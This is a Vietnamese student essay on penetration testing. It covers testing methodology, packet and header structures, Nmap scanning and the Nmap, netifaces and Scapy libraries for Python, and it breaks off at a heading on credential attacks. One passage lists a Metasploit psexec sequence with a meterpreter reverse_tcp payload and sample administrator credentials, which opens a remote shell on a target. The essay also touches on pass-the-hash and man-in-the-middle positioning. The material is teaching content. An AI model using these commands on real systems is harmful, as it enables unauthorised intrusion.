Tải bản đầy đủ (.docx) (45 trang)

(TIỂU LUẬN) hiểu về phương pháp kiểm tra thâm nhập xác định mục tiêu bằng nmap, scapy và python

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (1.53 MB, 45 trang )

1. Hiểu về phương pháp kiểm tra thâm nhập----------------------------------------------------------------------------------------- 2
1.1 Tổng quan về thử nghiệm thâm nhập------------------------------------------------------------------------------------------- 2
1.2 Hiểu rõ thử nghiệm thâm nhập--------------------------------------------------------------------------------------------------- 3
1.2.1 Vulnerability Assessments--------------------------------------------------------------------------------------------------- 3
1.2.2 Reverse engineering engagements---------------------------------------------------------------------------------------- 3
1.2.3 Hacking--------------------------------------------------------------------------------------------------------------------------- 4
1.3 Phương pháp đánh giá------------------------------------------------------------------------------------------------------------- 4
2. Xác định mục tiêu bằng Nmap, Scapy và Python----------------------------------------------------------------------------------5
2.1 Hiểu rõ cách hệ thống giao tiếp--------------------------------------------------------------------------------------------------- 5
2.1.1 Cấu trúc Ethernet frame----------------------------------------------------------------------------------------------------- 5
2.1.2 Cấu trúc gói IP------------------------------------------------------------------------------------------------------------------ 5
2.1.3 Cấu trúc TCP header---------------------------------------------------------------------------------------------------------- 5
2.1.4 Hiểu rõ cách TCP hoạt động------------------------------------------------------------------------------------------------- 5
2.1.5 Cấu trúc UDP header---------------------------------------------------------------------------------------------------------- 5
2.1.6 Hiểu rõ cách UCP hoạt động------------------------------------------------------------------------------------------------ 5
2.2 Hiểu rõ về công cụ Nmap----------------------------------------------------------------------------------------------------------- 5
2.2.1 Phạm vi mục tiêu của Nmap------------------------------------------------------------------------------------------------ 6
2.2.2 Các kiểu quét------------------------------------------------------------------------------------------------------------------- 6
2.2.3 Thực hiện quét UDP và TCP kết hợp-------------------------------------------------------------------------------------- 6
2.2.4 Bỏ qua quá trình quét hệ điều hành-------------------------------------------------------------------------------------- 9
2.2.5 Các loại đầu ra khác nhau---------------------------------------------------------------------------------------------------- 9
a)

Đầu ra Grepable-------------------------------------------------------------------------------------------------------------- 9

b)

Đầu ra XML--------------------------------------------------------------------------------------------------------------------- 9

2.2.6 Nmap scripting engine-------------------------------------------------------------------------------------------------------- 9
2.2.7 Hiệu quả với tính năng quét Nmap---------------------------------------------------------------------------------------- 9


2.3 Thư viện Nmap cho Python------------------------------------------------------------------------------------------------------- 11
2.4 Thư viện Scapy cho Python------------------------------------------------------------------------------------------------------- 14

1


Chương 2
1.

Hiểu về phương pháp kiểm tra thâm nhập
1.1 Tổng quan về thử nghiệm thâm nhập
Có một quan niệm sai lầm rất lớn về thử nghiệm thâm nhập là gì. Điều này phổ

biến ngay cả đối với các chuyên gia mới tham gia vào lĩnh vực này. Những người kiểm
tra thâm nhập mới hoặc các chuyên gia yêu cầu kiểm tra thâm nhập thường nói rằng việc
kiểm tra này chứng minh khả năng khai thác của các lỗ hổng, dễ bị khai thác của môi
trường hoặc chỉ sự hiện diện của các lỗ hổng. Sự hiểu lầm này thể hiện thành các tác
động thực sự đối với các cam kết khi chúng được xác định phạm vi, nguồn gốc và tiến
hành. Hơn nữa, nhận thức sai lầm này bao gồm suy nghĩ rằng một bài kiểm tra thâm nhập
sẽ tìm thấy tất cả các lỗ hổng, và tất cả các mục tiêu sẽ luôn được đáp ứng bất kể các biện
pháp kiểm soát được đưa ra.
Kiểm tra khả năng thâm nhập là hoạt động đánh giá khả năng bảo vệ dữ liệu quan
trọng của tổ chức khỏi các hành động của tác nhân độc hại. Chiến lược bảo mật là
chương trình bảo mật thơng tin bao trùm của tổ chức. Nó tập trung vào việc duy trì tính
bảo mật, tính tồn vẹn và tính sẵn có của dữ liệu và tài nguyên quan trọng của tổ chức.
Điều này nhằm giảm thiểu rủi ro đến mức có thể chấp nhận được bằng cách sử dụng kết
hợp con người, quy trình và công nghệ. Sự khác biệt giữa định nghĩa đầu tiên và định
nghĩa thứ hai về thử nghiệm thâm nhập là ban đêm và ban ngày.
Định nghĩa đầu tiên chỉ tập trung vào các lỗ hổng, điều này có nghĩa là mọi người
mong đợi hoạt động mà người đánh giá sẽ thực hiện có liên quan đến việc khai thác hoặc

tìm ra các lỗ hổng hoặc các cấu hình sai đơn giản. Nó khơng tính đến các hành động sai
liên quan đến các chính sách, quy trình hoặc các mối quan hệ khơng an tồn mà tổ chức
có thể có. Những định kiến này thường có những tác động đáng kể sau đây đối với cả tổ
chức và những người đánh giá mới.

2


Lãnh đạo tổ chức sẽ không tạo ra các mục tiêu liên quan đến việc vi phạm các
kiểm soát truy cập liên quan đến kho dữ liệu quan trọng hoặc xác định các vị trí dữ liệu
quan trọng. Cũng sẽ có niềm tin ban đầu rằng Intrusion Protection Systems (IPS) và
Intrusion Detection Systems (IDS) là cơ sở cốt lõi để ngăn chặn một mối nguy hại; tất
cả những người đánh giá có kinh nghiệm đều biết rằng điều này khơng đúng. Ngồi ra,
các đánh giá có thể khơng được xác định phạm vi theo cách mang lại kết quả thực tế. Kết
quả tai hại nhất của sự nhầm lẫn này là tổ chức có thể khơng xác định được khi nào người
đánh giá thiếu các kỹ năng cần thiết để thực hiện cam kết bắt buộc.
1.2 Hiểu rõ thử nghiệm thâm nhập
1.2.1 Đánh giá lỗ hổng bảo mật
Đánh giá lỗ hổng bảo mật Vulnerability Assessments (VA) sử dụng VMS để quét
các lỗ hổng. Các VA tốt sau đó sử dụng một chuyên gia đánh giá để loại bỏ các kết quả
dương tính giả, sau đó xếp hạng rủi ro thực tế của các phát hiện có thể được điều chỉnh
trên cơ sở tác động kinh doanh và khả năng bị khai thác. Thông thường các nhà tư vấn
bảo mật hoặc người kiểm tra thâm nhập thực hiện các đánh giá này, có thể yêu cầu khai
thác thực tế các lỗ hổng này để có bằng chứng về khái niệm. Loại đánh giá này rất tốt để
cho thấy một tổ chức thực hiện tốt việc vá lỗi và triển khai nội dung trong một cấu hình
an tồn như thế nào. Mấu chốt ở đây là những kiểu đánh giá này không tập trung vào việc
đạt được quyền truy cập vào dữ liệu quan trọng từ quan điểm của một tác nhân độc hại,
mà thay vào đó liên quan đến việc tìm kiếm các lỗ hổng.
1.2.2 Reverse engineering engagements
Reverse có thể là một phần của thử nghiệm thâm nhập, nhưng ngày nay nó hiếm

hơn nhiều so với trước đây. Các thử nghiệm thâm nhập hiện tại có thể bao gồm phát triển
khai thác, nhưng nó được thực hiện để tạo ra một bằng chứng về khái niệm liên quan đến
mã cây nhà lá vườn và giành quyền truy cập vào một hệ thống quan trọng nơi dữ liệu có
thể cư trú. Ngược lại, trong các cam kết đảo ngược quy mô lớn, người đánh giá cố gắng
chứng minh tính dễ bị đảo ngược tổng thể của ứng dụng và các điểm yếu liên quan đến
3


mã nguồn, biên dịch và các thư viện liên quan. Những loại tương tác này phù hợp hơn
với một kỹ sư đảo ngược, người dành thời gian xác định các chuỗi và phương pháp tấn
công phổ biến để xâm phạm ứng dụng, thay vì giành quyền truy cập vào dữ liệu quan
trọng. Mức độ kinh nghiệm trong lĩnh vực cụ thể này là rộng rãi. Thông thường, nhiều
người đánh giá chuyển từ thử nghiệm thâm nhập sang bộ kỹ năng cụ thể này, nơi họ thực
hiện đảo ngược toàn thời gian.
1.2.3 Hacking
Hacking không phải là một cuộc đánh giá, mà đề cập trực tiếp đến việc tận dụng
các lỗ hổng có thể khai thác được; nó có thể liên quan đến hoạt động độc hại hoặc nó có
thể được thực hiện để nghiên cứu. Mục đích của việc hack khơng phải là để có được
quyền truy cập vào dữ liệu quan trọng mà chỉ để bẻ khóa các lỗ hổng. Có nhiều định
nghĩa về hack, và nó thường là thử nghiệm thâm nhập liên quan trực tiếp, nhưng khơng
có mục tiêu cụ thể hoặc rõ ràng nào liên quan đến hack. Giờ đây, một số khác biệt lớn
giữa kiểm tra thâm nhập và các hoạt động khác đã được xác định, phương pháp luận liên
quan đến việc đạt được mục tiêu có thể được làm nổi bật.
1.3 Phương pháp đánh giá
Có nhiều phương pháp đánh giá liên quan đến thử nghiệm thâm nhập. Ví dụ về
một số phương pháp bao gồm Open Source Security Testing Methodology Manual
(OSSTMM), Open Web Application Security Project (OWASP) cho các đánh giá web,
Ấn phẩm National Institute of Standards and Technology (NIST) 800-115 Hướng dẫn
Kỹ thuật Kiểm tra An ninh Thông tin và Đánh giá, và PTES. Phương pháp mà chúng tôi
sẽ tập trung vào trong cuốn sách này là PTES vì nó là một nguồn lực vững chắc cho

những người đánh giá mới.

4


2.

Xác định mục tiêu bằng Nmap, Scapy và Python
2.1 Hiểu rõ cách hệ thống giao tiếp
Khi một hệ thống tạo ra dữ liệu, dữ liệu được gửi xuống thông qua ngăn xếp

Transmission Control Protocol (TCP) / Internet Protocol (IP) của hệ thống. Điều này gói
dữ liệu thành một cái gì đó có thể được truyền qua dây. Nếu bạn đã nghe nói về mơ hình
Open Systems Interconnect (OSI), thì bạn biết rằng đây là cách mọi người thảo luận về
cách hệ thống xử lý dữ liệu, trong khi Mơ hình TCP/IP là cách hệ thống thực sự hoạt
động.
2.1.1 Cấu trúc Ethernet frame
Frame là cách dữ liệu truyền từ máy chủ này sang máy chủ lưu trữ và có một số
thành phần tạo nên frame. Các frame giao tiếp thông qua một địa chỉ phần cứng được gọi
là địa chỉ Media Access Control (MAC). Frame hơi khác nhau đối với mạng khơng dây
và mạng Ethernet. Ngồi ra, ở cuối farme là một tổng kiểm tra. Đây là một kiểm tra toán
học cơ bản nhằm xác minh tính tồn vẹn của dữ liệu sau khi nó đã được truyền qua dây.
Ảnh chụp màn hình của khung Ethernet với đích cuối là cổng TCP:

Ảnh chụp màn hình của một khung có destination là cổng UDP:

Layer 2 in Ethernet networks
Các frame được sử dụng để giao tiếp trong các broadcast domain hoặc vị trí
bên trong các default gateways hoặc trước khi truyền qua bộ định tuyến router.
Sau khi một bộ định tuyến được chuyển qua, giao diện của địa chỉ phần cứng của

bộ định tuyến đó sẽ được sử dụng cho broadcast domain tiếp theo. Chúng cũng
5


thường được gửi trong các khung tùy thuộc vào giao thức giao tiếp giữa các thiết
bị. Điều này được thực hiện lặp đi lặp lại cho đến khi frame đến đích được phân
định bằng địa chỉ IP. Điều này rất quan trọng cần hiểu vì nếu muốn chạy hầu hết
các cuộc tấn công Man-in-the-Middle (MitM) bằng các công cụ như Responder
hoặc Ettercap thì phải ở trong Broadcast Domain, vì đây là các cuộc tấn công
Layer 2.
Layer 2 in wireless networks
Khái niệm về tấn cơng khơng dây rất giống nhau, vì phải ở trong phạm vi
của mã định danh Service Set Identifier (SSID) hoặc tên mạng không dây thực tế.
Hệ thống truyền thông hơi khác một chút tùy thuộc vào thiết kế của mạng không
dây, nhưng ta sử dụng Access Points (AP) được phân biệt bằng mã định danh
nhóm dịch vụ cơ bản Basic Service Set Identifiers (BSSID), một tên gọi cho địa
chỉ MAC của AP.
Khi được liên kết và xác thực vào mạng thơng qua AP, thì ta sẽ là một phần
của bộ dịch vụ cơ bản Basic Service Set (BSS) hoặc thành phần của mạng doanh
nghiệp, nhưng bị giới hạn trong phạm vi của AP.
Nếu chuyển sang mạng không dây và kết hợp với một AP mới vì tín hiệu
tốt hơn, ta sẽ là một phần của BSS mới. Tất cả BSS là một phần của bộ dịch vụ
doanh nghiệp Enterprise Service Set (ESS); Điều thú vị là, nếu mạng khơng dây
chứa nhiều hơn một AP, nó là một ESS. Để có thể giao tiếp với các kỹ sư không
dây, bạn phải hiểu rằng nếu bạn đang ở trong mạng không dây doanh nghiệp,
SSID thực sự được gọi là SSID doanh nghiệp (ESSID).
2.1.2 Cấu trúc gói IP
IP header chứa dữ liệu cần thiết để giao tiếp qua mạng sử dụng địa chỉ IP. Điều
này cho phép thông tin liên lạc vượt ra ngoài Broadcast Domains. Sơ đồ sau đây cho thấy
một tiêu đề mẫu cho header IPv4:


6


IPv4 sắp hết và sự thay thế là IPv6. Lược đồ địa chỉ mới này cung cấp một số
lượng đáng kể các địa chỉ máy chủ mới, nhưng khi so sánh hai loại IP, có một số lượng
lớn các lỗ hổng liên quan đến IPv6 so với IPv4.
Có nhiều lý do cho điều này, nhưng lý do quan trọng nhất là khi các tổ chức áp
dụng các khái niệm bảo mật cho mạng của họ, họ quên rằng IPv6 được hỗ trợ theo mặc
định và được bật. Điều này có nghĩa là khi họ định cấu hình các cơ chế bảo vệ, họ thường
sử dụng địa chỉ IPv4. Nếu IPv6 được bật và các thiết bị bảo mật không nhận biết được
các loại địa chỉ khác nhau trong mạng hoặc các liên kết với các thiết bị đó, các cuộc tấn
cơng có thể khơng được chú ý.
Sơ đồ sau đây cho thấy một ví dụ về cấu trúc gói IPv6:

7


2.1.3 Cấu trúc TCP header
Nói một cách tương đối, TCP packet header lớn hơn nhiều so với UDP packet
header. Nó phải phù hợp với trình tự, cờ và cơ chế điều khiển cần thiết. Cụ thể, packet ở
đó để xử lý thiết lập và chia nhỏ phiên bằng cách sử dụng một số AC khác nhau. Các cờ
này có thể được điều khiển để nhận được phản hồi từ hệ thống mục tiêu theo ý muốn của
kẻ tấn cơng.
Hình sau cho thấy một TCP header:

8


2.1.4 Hiểu rõ cách TCP hoạt động

Bắt tay ba bước TCP
Bắt tay TCP còn được gọi là bắt tay ba bước. Ý nghĩa của điều này là ba
thông điệp được gửi qua lại giữa hai hệ thống trước khi một cổng kết nối được
thiết lập. Ba thông báo này là SYN, SYN-ACK và ACK. Hệ thống đang cố gắng
khởi tạo kết nối bắt đầu với một gói có cờ SYN. Hệ thống trả lời trả về một gói tin
có bộ cờ SYN và ACK. Cuối cùng, hệ thống khởi tạo trả về một gói tin cho hệ
thống đích ban đầu với cờ ACK được đặt. Trong các hệ thống cũ hơn, nếu khơng
thể kết nối, có thể dẫn đến những hậu quả không lường trước được. Ngày nay, hầu
hết các hệ thống đủ thông minh để chỉ cần thiết lập lại (RST) kết nối hoặc đóng
nó.
2.1.5 Cấu trúc UDP header
Trong khi TCP là một giao thức hướng kết nối, thì UDP là một giao thức hướng
không kết nối đơn giản. Như có thể thấy trong hình sau, header cho các gói UDP đơn
giản hơn đáng kể. Điều này là do có ít chi phí hơn cho UDP để duy trì một socket thay vì
TCP.

2.1.6 Hiểu rõ cách UCP hoạt động
UDP thiết lập một luồng giao tiếp với một cổng lắng nghe. Cổng đó chấp nhận dữ
liệu và chạy nó lên ngăn xếp TCP/IP khi cần thiết. Trong khi TCP là cần thiết cho giao
tiếp đồng bộ và đáng tin cậy, UDP thì khơng.

9


2.2 Hiểu rõ về cơng cụ Nmap
Nếu có một cơng cụ phổ biến thông qua hầu hết các bộ công cụ cấp cao nhất và bộ
công cụ đánh giá mới, thì đó là nmap. Bạn có thể tìm thấy các khuôn khổ khai thác khác
nhau, các công cụ ứng dụng web và các tùy chọn khác, nhưng nmap là một cơng cụ chính
cho nhiều hình thức đánh giá. Bây giờ, điều này khơng có nghĩa là khơng có cơng cụ nào
khác có thể được thực thi với các khả năng tương tự; chỉ là họ không đủ khả năng. Điều

này bao gồm các công cụ như AngryIP, HPing, FPing, NetScan, quét Unicorn và các
công cụ khác. Từ tất cả các cơng cụ này, chỉ có hai cơng cụ nổi bật là khác biệt đáng kể,
đó là HPing và Unicorn scan.
Sai lầm lớn nhất mà những người đánh giá mới mắc phải với nmap là thực hiện
nhiều lần quét cùng một lúc từ cùng một máy chủ. Nmap sử dụng ngăn xếp TCP/IP tích
hợp của hệ điều hành chủ. Điều này có nghĩa là bất kỳ q trình qt bổ sung nào được
thực hiện đều không tăng tốc kết quả; thay vào đó, nhiều phiên phải được xử lý cùng lúc
bởi ngăn xếp TCP/IP của hệ điều hành. Điều này không chỉ làm chậm kết quả của mỗi
lần quét mà còn làm tăng lỗi, vì mỗi gói nhận được có thể ảnh hưởng đến kết quả tùy
thuộc vào trường hợp mà nó nhận được.
Mỗi gói bị thiếu có thể được gửi lại, điều này có nghĩa là q trình qt bị chậm
lại, khơng chỉ do số lượng gói được gửi lại, mà cịn do kết quả khơng nhất qn và ngăn
xếp TCP/IP bị hạn chế. Điều này có nghĩa là chỉ có thể thực hiện một phiên bản quét
nmap trên mỗi máy chủ
Vì vậy, bên cạnh việc giải quyết các hạn chế của ngăn xếp TCP/IP, cịn có hạn chế
về cách các gói chi tiết có thể được thao tác thơng qua nmap. HPing cung cấp khả năng
tương đối dễ dàng tạo các gói tùy chỉnh đáp ứng một mục đích cụ thể. Mặc dù tùy chỉnh
này, HPing chỉ hiệu quả trong việc thực hiện kiểm tra đối với một máy chủ duy nhất theo
cách tùy chỉnh. Nếu nhiều máy chủ cần ping đơn giản với khả năng tùy chỉnh tương đối,
FPing nên là công cụ được lựa chọn. Điều này đặc biệt bởi vì các kết quả được tạo ra
trong Standard Out (STDOUT) bằng FPing có thể dễ dàng phân tích cú pháp để tạo ra
10


các kết quả hữu ích và hiệu quả. Điều này khơng có nghĩa là nmap khơng phải là một
cơng cụ có cấu hình cao, mà chỉ ra rằng nó khơng phải là sự thay thế cho một người đánh
giá có kinh nghiệm và thông minh, và mỗi công cụ đều có vị trí của nó. Vì vậy, cần hiểu
những hạn chế của nó và bổ sung nó khi cần thiết
2.2.1 Phạm vi mục tiêu của Nmap
Nmap có thể có đầu vào mục tiêu bằng Standard Input (STDIN), tức là khi truyền

dữ liệu trực tiếp từ giao diện dòng lệnh (CLI) hoặc qua tệp. Đối với CLI, điều này có thể
được thực hiện theo nhiều cách khác nhau để bao gồm một loạt địa chỉ IP và ký hiệu
Định tuyến liên vùng không lớp (CIDR) của địa chỉ IP. Đối với tệp, địa chỉ IP có thể được
chuyển bằng các phương thức được đề cập để bao gồm ký hiệu CIDR, địa chỉ IP và dải ô
cũng như bằng danh sách IP được phân tách bằng dấu ngắt dòng hoặc dấu xuống dòng.
Để truyền dữ liệu bởi CLI, tất cả những gì người dùng phải làm là trình bày đoạn ở cuối
lệnh, như sau:
nmap -sS -vvv -p 80 192.168.254.0/24

11


Đối với phương thức nhập tệp, chỉ cần thêm tùy chọn -iL theo sau là tên tệp:
nmap -sS -vvv -p 80 -iL nmap_subnet_file

2.2.2 Các kiểu quét
Bốn cách quét mà bạn chủ yếu sử dụng là:
Quét kết nối TCP (còn được gọi là qt tồn kết nối)
Qt SYN (cịn được gọi là quét nửa mở hoặc ẩn)

Quét ACK
Quét UDP.
2.2.3 Thực hiện quét UDP và TCP kết hợp
Để tiết kiệm thời gian, có thể kết hợp quét bằng cách nhắm mục tiêu các cổng cho
cả hai loại quét. Tuy nhiên, nếu sử dụng nhiều cổng trong quá trình quét này, sẽ mất
nhiều thời gian để hồn thành. Vì vậy, điều này rất tốt để nhắm mục tiêu các cổng hàng
đầu mà bạn có thể sử dụng để xác định các tài nguyên dễ bị tổn thương có khả năng bị
xâm phạm cao nhất, chẳng hạn như sau:
12
Service types



Databases

Remote file services

Remote administrative
interface

13


Interface
enumeration services

Web servers

Virtual
(VPN) management details

Để thực hiện quét kết hợp, tất cả những gì cần thiết là gắn cờ cho hai loại
quét muốn sử dụng và lặp lại các cổng muốn quét cách nhau bởi dấu phẩy cho mỗi
giao thức. Điều này được thực hiện bằng cách cung cấp -p tùy chọn, theo sau là U:
cho các cổng UPD và T: cho các cổng TCP.
Ví dụ:

14


nmap -sS -sU -vvv -p U:161,139 T:8080,21 192.168.254.0/24


2.2.4 Bỏ qua quá trình quét hệ điều hành
Lý do lớn nhất khiến những chuyên gia dày dạn kinh nghiệm không sử dụng cách
qt này, là vì nó cung cấp ít giá trị ngày nay. Ta có thể xác định các chi tiết mà quá trình
quét này cung cấp nhanh hơn, dễ dàng hơn. Nên tìm hiểu các cổng, nhãn dịch vụ, và các
phiên bản của mỗi hệ điều hành sẽ thực hiện tốt hơn trong việc xác định hệ điều hành và
phiên bản này hơn sẽ qt. Ngồi ra, nếu đó là một hệ thống không thể xác định được
bằng phương pháp này thì khơng chắc nmap cũng có thể làm được, tất nhiên điều này
phụ thuộc vào trình độ kỹ năng.
2.2.5 Các loại đầu ra khác nhau
 Đầu ra Grepable

Với đầu ra Grepable, đây không phải là cách hay để lấy ra dữ liệu. Nó có thể cung
cấp một phương tiện dễ dàng để trích xuất các thành phần của dữ liệu để xây dựng danh
sách một cách nhanh chóng và dễ dàng, nhưng để phân tích cú pháp chính xác với grep,
sed và awk, cần phải chèn ký tự để biểu thị nơi dữ liệu sẽ được trích xuất. Đầu ra
Grepable có thể được thực thi bằng cách gắn thẻ các cờ -oG. Sau khi có tệp Grepable,
15


cách hữu ích nhất để phân tích cú pháp dữ liệu là nhập vào các thành phần nhất định của
nó. Bạn thường tìm kiếm các cổng mở liên quan đến dịch vụ. Vì vậy, bạn có thể trích
xuất các chi tiết này bằng cách thực hiện các lệnh như sau:
cat nmap_scan.gnmap | grep 445/open/tcp | cut -d"" -f2
>> /root/Desktop/smb_hosts_list
Ví dụ cho thấy một tệp Grepable được đẩy đến STDOUT và sau đó được chuyển
thành tệp Grep, tìm kiếm port 445 đang mở. Điều này có thể được thực hiện với grep và
cắt, nó rất dễ dàng để đọc và hiểu. Khi các cổng được tìm thấy, hãy cắt trích xuất địa chỉ
IP và đẩy chúng vào một tệp phẳng được gọi là smb_hosts_lists. Nếu bạn nhìn vào tệp
nmap_scan.gnmap, bạn có thể sẽ thấy các dòng chứa các chi tiết như sau:

Host: 192.168.195.112 () Ports: 445/open/tcp/
Để chạy bảng điều khiển Metasploit, hãy thực hiện lệnh này:
msfconsole
Nếu đang chạy Metasploit Professional từ dòng lệnh, hãy sử dụng cách sau:
msfpro
Bây giờ hãy xem ví dụ này, trong đó sẽ thử và xem liệu mật khẩu đã bẻ khóa hay
khơng, trước đó khơng hoạt động trên bất kỳ máy chủ nào trong phần còn lại của mạng:
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass test
set SMBDomain Workgroup
set payload windows/meterpreter/reverse_tcp
set RHOST 192.168.195.112
set LPORT 443
16


exploit -j
Lệnh set payload sẽ được thực hiện trên máy chủ. Reverse_tcp quay trở lại hộp tấn
công để thiết lập sự liên quan. Nếu nó là một ràng buộc, hộp tấn công sẽ kết nối trực tiếp
với một cổng lắng nghe sau khi thực hiện. RHOST và LPORT biểu thị máy chủ đích
muốn kết nối đến và cổng trên hộp tấn công muốn lắng nghe để liên lạc trở lại. Khai thác
-j chạy khai thác và sau đó làm nền cho các kết quả, điều này cho phép tập trung vào
những thứ khác, quay lại phiên khi cần thiết với session -i <session number>. Hãy nhớ
rằng không yêu cầu thông tin đăng nhập đã bẻ khóa để thực thi smb_login hay psexec;
thay vào đó, chỉ có thể PtH. Trong trường hợp đó, văn bản sẽ giống như mã sau cho lệnh
smb_login:
 Đầu ra XML

XML xây dựng cây dữ liệu sử dụng các thành phần con và mẹ để gắn nhãn các tập

dữ liệu. Cho phép phân tích cú pháp dữ liệu dễ dàng và trực tiếp bằng cách sử dụng các
nút lấy nhãn cụ thể sau khi đi qua trên cây liệt kê các mối quan hệ cha mẹ và con cái.
Quan trọng nhất, vì điều này, kết quả đầu ra XML có thể được nhập bằng các cơng cụ
khác, chẳng hạn như Metasploit. Có thể dễ dàng xuất ra chỉ XML bằng cách sử dụng tùy
chọn -oX.
2.2.6 Nmap scripting engine
Nmap Scripting Engine (NSE) là 1 trong những tùy chọn khá lợi hại trong Nmap.
Nó cho phép người dùng viết và chia sẻ những đoạn script đơn giản để thực hiện những
công việc khác nhau trong lĩnh vực networking một cách tự động. Những đoạn script này
có thể sử dụng để phát hiện các lỗ hổng và khai thác các lỗ hổng.
2.2.7 Hiệu quả với tính năng quét Nmap
Nmap là một cơng cụ tuyệt vời, nhưng có thể bị giới hạn bởi mạng kém, mục tiêu
lớn và phạm vi cổng khơng hạn chế. Vì vậy, mẹo để trở nên hiệu quả là hạn chế số lượng
cổng quét cho đến khi biết mục tiêu nào đang hoạt động. Điều này có thể được thực hiện
bằng cách nhắm mục tiêu các mạng con có thiết bị trực tiếp và chỉ quét các phạm vi đó.
17


Cách dễ nhất để làm điều này là tìm kiếm các cổng mặc định đang hoạt động trong mạng.
Vì vậy, nếu thấy rằng cổng mặc định của mình là 192.168.1.1, có thể trong mạng Lớp C
này, các cổng mặc định khác có thể hoạt động trong các lĩnh vực như 192.168.2.1.
Thư viện netifaces
Chức năng bao gồm get_networks, get_addresses, get_gateways và get_interfaces.
Hàm đầu tiên, get_interfaces, tìm tất cả các giao diện có liên quan cho hệ thống đó:
>

import netifaces

>


netifaces.interface() // hiển thị tất cả giao diện

>

from pprint import *

>

pprint(netifaces.ifaddresses(‘ens33’)) // lấy giao diện ens33 làm ví dụ

Hàm thứ hai xác định các cổng:
>>> netifaces.gateways()

2.3 Thư viện Nmap cho Python
Python có các thư viện cho phép thực hiện quét nmap trực tiếp, thơng qua trình
thơng dịch tương tác hoặc bằng cách xây dựng các công cụ tấn công đa diện. Đối với ví
18


dụ này, hãy sử dụng thư viện nmap để quét phiên bản Kali cục bộ để tìm cổng dịch vụ
Secure Shell (SSH). Đảm bảo rằng dịch vụ đã bắt đầu bằng cách thực hiện lệnh bắt đầu
/etc/init.d/ssh. Sau đó, cài đặt các thư viện Python nmap với pip cài đặt python-nmap.
Bây giờ có thể thực hiện quét bằng cách sử dụng trực tiếp các thư viện, nhập chúng và
gán nmap.PortScanner() cho một biến. Sau đó, biến khởi tạo đó có thể được sử dụng để
thực hiện quét. Hãy thực hiện qt ví dụ trong trình thơng dịch tương tác. Sau đây là một
ví dụ về q trình qt cổng 22, được thực hiện bằng trình thơng dịch Python tương tác
đối với phiên bản Kali cục bộ:

Như có thể thấy, đó là một kho từ điển có thể được gọi mỗi loại khi cần thiết.
Để làm nổi bật điều này, có thể tạo một tập lệnh chấp nhận các đối số CLI để quét

máy chủ và cổng. Vì đang chấp nhận các đối số từ CLI, nên sẽ cần nhập hệ thống thư
viện và vì đang quét bằng các thư viện nmap, nên cần nhập nmap. Hãy nhớ sử dụng các
trình xử lý có điều kiện khi nhập các thư viện khơng có nguồn gốc Python; nó làm cho
việc bảo trì các công cụ trở nên đơn giản và chuyên nghiệp hơn nhiều:
import sys
try:
import nmap
print(“done”)
except:
sys.exit("[!] Install the nmap library: pip install python-nmap")
19


Khi các thư viện đã được nhập, tập lệnh có thể có các yêu cầu đối số được thiết kế.
Chúng ta cần ít nhất hai đối số. Điều này có nghĩa là nếu có ít hơn hai đối số hoặc nhiều
hơn hai, tập lệnh sẽ không thành công với thông báo trợ giúp. Nhớ lấy tên tập lệnh được
tính là đối số đầu tiên, vì vậy chúng ta phải tăng nó lên 3. Kết quả của các đối số bắt buộc
tạo ra mã sau:
# Argument Validator

import sys
if len(sys.argv) != 3:
sys.exit("Please provide two arguments the first being the targets the second
the ports")
ports = str(sys.argv[2])
addrs = str(sys.argv[1])

20



Bây giờ, nếu chạy tập lệnh nmap_scanner.py mà khơng có bất kỳ đối số nào thì sẽ
gặp lỗi , như được hiển thị trong ảnh chụp màn hình sau:

Đây là một phần cơ bản của tập lệnh mà sau đó bạn có thể tạo ra chương trình
thực tế. Nó là một thành phần rất nhỏ có tác dụng khởi tạo lớp và sau đó chuyển cho nó
địa chỉ và các cổng, sau đó được in:
import sys
import nmap
scanner = nmap.PortScanner()
scanner.scan('192.168.254.183','22')
for host in scanner.all_hosts():
if not scanner[host].hostname():
print('The hosts IP address is '+ host +' and its hostname was not
found')
else:
print('The hosts IP address is '+ host +' and its hostname is '+
scanner[host].hostname())

Kiểm tra này cho thấy hệ thống ảo giao diện đã thử nghiệm với cả định danh
localhost và địa chỉ IP. Có hai điều cần lưu ý khi quét bằng mã định danh localhost: sẽ
21


nhận được một tên máy chủ. Nếu bạn đang quét địa chỉ IP của hệ thống mà khơng có truy
vấn một dịch vụ tên, bạn sẽ không thể xác định được tên máy chủ. Sau ảnh chụp màn
hình hiển thị đầu ra của tập lệnh này:

2.4 Thư viện Scapy cho Python
Chào mừng bạn đến với Scapy, thư viện Python được thiết kế để thao tác, gửi và
đọc gói tin. Scapy là một trong những cơng cụ có nhiều khả năng ứng dụng, nhưng nó có

thể có vẻ phức tạp để sử dụng. Trước khi bắt đầu, có một số quy tắc cơ bản cần hiểu về
Scapy điều đó sẽ làm cho việc tạo các tập lệnh dễ dàng hơn nhiều. Trước tiên, hãy tham
khảo các phần trước để hiểu cờ TCP và cách chúng đại diện trong Scapy. Cần phải xem
xét các cờ được đề cập trước đó và các vị trí có liên quan để sử dụng chúng. Thứ hai, khi
Scapy nhận được phản hồi cho một gói được gửi đi, các cờ được biểu diễn bằng các bit
nhị phân ở định dạng bát phân trong bát phân thứ 13 của TCP đầu trang. Vì vậy, Phải đọc
phản hồi dựa trên thơng tin này. Nhìn vào bảng sau, biểu thị các giá trị vị trí nhị phân của
mỗi cờ như nó được thiết lập:

22


Vì vậy, khi đang đọc các phản hồi từ các gói TCP và tìm kiếm một loại cờ, phải làm
tốn. Bảng trước sẽ giúp đơn giản hóa việc này cho bạn, nhưng hãy lưu ý nếu đã từng làm
việc với tcpdump rằng tài liệu được truyền đi là giống hệt nhau. Ví dụ, nếu đang tìm kiếm
một gói SYN, sẽ thấy giá trị của octet thứ 13 là 2. Nếu là SYN + ACK, nó sẽ là giá trị của
18. Chỉ cần thêm các giá trị cờ lại với nhau thì sẽ có những gì đang tìm kiếm.

Điều tiếp theo cần ghi nhớ là nếu cố gắng ping giao diện loopback hoặc localhost,
gói tin sẽ khơng được tập hợp. Điều này là do hạt nhân chặn yêu cầu và xử lý nội bộ
thông qua ngăn xếp TCP/IP của hệ thống. Đây là một trong những lỗi khiến mọi người
gặp khó khăn với Scapy và thường bỏ cuộc. Vì vậy, thay vì đào sâu vào việc sửa chữa
các gói tin để chúng có thể tấn cơng phiên bản Kali, tạo ra Metasploitable hoặc thử và
kiểm tra cổng mặc định.
3.

Executing Credential Attacks with Python
3.1 The types of credential attacks
3.1.1 Defining the online credential attack
